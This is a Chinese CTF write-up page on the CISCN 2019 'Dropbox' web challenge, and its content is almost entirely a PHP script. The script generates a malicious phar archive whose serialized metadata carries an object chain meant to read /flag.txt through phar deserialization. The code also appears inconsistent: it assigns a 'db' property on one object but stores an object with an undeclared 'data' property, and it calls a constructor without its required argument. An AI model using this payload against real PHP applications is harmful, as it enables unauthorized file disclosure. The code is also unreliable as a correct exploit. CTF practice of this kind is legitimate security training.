0
点赞
收藏
分享

微信扫一扫

CTF做题笔记13

小飞侠熙熙 2022-05-01 阅读 38

CISCN2019 华北赛区 Day1 Web1 Dropbox

<!--phar-->
<?php

class User {
    public $db;
}

class File{
    public $filename;
}

class FileList{
    private $files;
    public function __construct($path)
    {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
    }
}

$a = new User();
$a->db = new FileList();

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o -> data= new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
举报

相关推荐

CTF做题笔记10

ctf_game做题解析

做题笔记(一)

CTF笔记

做题笔记--双指针

图论做题笔记:dfs

ctf学习笔记

ssh私钥泄漏做题笔记

0 条评论